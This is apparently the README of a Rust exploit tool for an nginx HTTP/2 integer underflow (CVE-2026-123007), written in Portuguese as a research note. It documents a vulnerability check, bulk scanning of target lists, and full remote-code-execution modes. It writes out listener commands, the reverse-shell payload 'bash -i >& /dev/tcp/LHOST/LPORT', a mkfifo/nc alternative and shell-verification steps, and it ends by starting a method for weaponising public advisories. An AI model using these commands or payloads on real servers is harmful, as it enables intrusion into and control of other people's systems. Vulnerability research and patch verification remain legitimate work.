Nota de Pesquisa: Transformando Inteligência Pública em um Exploit de Root (Estudo de Caso: CVE-2026-123007)
Um cliente de exploit para CVE-2026-123007 (um underflow de inteiro no controle de fluxo HTTP/2 no nginx que pode levar a RCE com os privilégios do worker). Um único binário Rust. Não é necessária instalação, compilação ou implantação do nginx: a ferramenta apenas se comunica com um alvo que já existe (um servidor nginx público, ou uma instância localhost que você mesmo configurou).
Só quer provar a CVE? Leia
PROOF.md. Um comando, ~14 MiB, sem listener/profile/119 GiB:poc --host https://TARGET/ --safe(--proofé um alias).--exploit/--shellabaixo são para a cadeia completa de RCE.
# 1. build (once)
cargo build --release
# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe
# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe
# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example
Sem a flag de modo, o padrão é --safe (econômico e seguro).
Saída bem-sucedida:
[+] CVE-2026-123007 PROOF: VULNERABLE
target: https://target.example/ resource: /index.html
observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
[1] queued-DATA refund : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
[2] public-byte release : PASS (10 bytes returned)
[3] underflowed WU guard : PASS (post-refund PING ACK)
[4] connection still usable: PASS
no memory corruption, no crash, no shell
VULNERABLE significa que o bug de contabilização foi comprovado nesse alvo. NOT PROVEN
significa que o alvo não o apresentou (corrigido, não é HTTP/2, corpo demasiado pequeno, ou
é necessário um recurso diferente). Códigos de saída: 0 vulnerável, 4 não comprovado.
O caminho pode ser indicado em --host ou explicitamente com --path:
./target/release/poc --host https://target.example/landing --safe # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin
--safe exige HTTPS + HTTP/2 (ALPN h2) e um recurso de 521–8192
bytes que suporte Range. A mensagem de erro informa o tamanho de onda calculado
quando o corpo está fora desse intervalo.
| Modo | O que comprova | Tráfego | Tempo |
|---|---|---|---|
--safe | bug de contabilidade + guarda com underflow, sem corrupção | ~14 MiB | segundos |
--exploit | cadeia completa, payload despachado | ~119 GiB | minutos |
--shell | cadeia completa + id/whoami/date/uname -a | ~119 GiB | minutos |
Para responder "o alvo é vulnerável?", --safe é suficiente. Centenas de GB são
usados apenas ao executar RCE de fato.
--targets (lista de alvos)Uma origem por linha; linhas vazias e # comentários são ignorados:
# example targets.txt
https://target-a.example
https://target-b.example:8443
Linhas http://... são marcadas como SKIP porque --safe exige TLS + ALPN h2
(alvos apenas HTTP/1.1 também são SKIP/NOT PROVEN). --targets serve apenas para
--safe; para exploração, execute um alvo por vez com --host.
Uma linha de resultado é impressa por alvo, seguida de um resumo
N tested, M vulnerable.
--exploit e --shellEstes exigem um alvo que corresponda a um perfil embutido (nginx 1.31.8
Debian 13 amd64, glibc 2.41, CPU alvo com avx512f + avx512vl, 4 workers,
/index.html de 896 bytes). Um perfil 1.31.6 também está incluído. Sem uma correspondência,
--safe ainda pode responder à questão de vulnerabilidade, mas a cadeia de RCE
não será executada.
Escolha um fluxo de trabalho, não ambos (caso contrário, a porta entra em conflito):
Fluxo A — --shell (mais simples; a ferramenta escuta):
./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444
Fluxo de trabalho B — --exploit + um listener manual:
# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -
# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
--lhost 203.0.113.10 --lport 4444 --yes
--exploit não escuta por conta própria; a saída 0 significa apenas que o payload foi
enviado (DISPATCHED (unconfirmed)). Seu listener é a evidência.
Como alternativa, deixe a ferramenta escutar e verificar o shell:
./target/release/poc --host https://target.example --shell \
--lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification
--shell envia id; whoami; date; uname -a; echo __OK__ e só reporta
SHELL OK quando a saída contém uid=. Códigos de saída: 0 shell verificado,
1 erro de estágio, 2 vulnerável mas a cadeia não terminou, 3 despachado
sem shell, 4 não comprovado.
Payload padrão: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (limite de 120 bytes).
Sem bash, use --cmd, por exemplo
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.
Linux: libssl-dev + pkg-config são necessários. macOS (Homebrew):
brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release
Sem PKG_CONFIG_PATH, o crate openssl usa o LibreSSL e falha.
O binário é target/release/poc.
target does not negotiate HTTP/2 (ALPN h2) over TLS — o HTTP/2 está desativado
nesse listener (ou o alvo é apenas HTTP/1.1).safe mode needs a response body of 521..8192 bytes — aponte --path para
um arquivo estático maior.cleanup-overcredit oracle failed — o alvo está corrigido, ou um
proxy/CDN não está repassando os frames HTTP/2 sem alteração.in-band HTTP/2 fingerprint matches no validated profile — uma
build/versão diferente; --safe continua válido, --exploit precisa de um perfil calibrado.DISPATCHED, NO SHELL — o payload foi executado mas não conseguiu alcançar --lhost
(firewall/NAT), ou o bash está ausente. Use --cmd com um oráculo observável.POC_KEYUPDATES — um ajuste de depuração que encurta o voo de bootstrap; ele
não faz parte de uma execução real.Esta seção não é necessária para testar um alvo. scripts/validate-safe.sh compila
nginx 1.31.8 e 1.31.10 a partir de uma árvore de código-fonte local e verifica VULNERABLE /
NOT PROVEN — ele testa a ferramenta, não prepara um alvo de exploit. Resultados
no host de desenvolvimento:
VULNERABLE (exit 0)NOT PROVEN (exit 4)A cadeia completa precisa de um alvo x86-64 + AVX512; os limites são descritos na seção técnica abaixo. Notas de design e planos de implementação são mantidos na árvore de trabalho local e não são enviados.
Esta seção é uma nota de metodologia: como ir de "um CVE crítico foi anunciado esta manhã" para um verificador e exploit funcionais, usando apenas material público e o próprio software vulnerável. Nenhum detalhe privado de bug e nenhum código de exploit pronto são pressupostos.
Comece pelos registros autoritativos, não por posts de blog: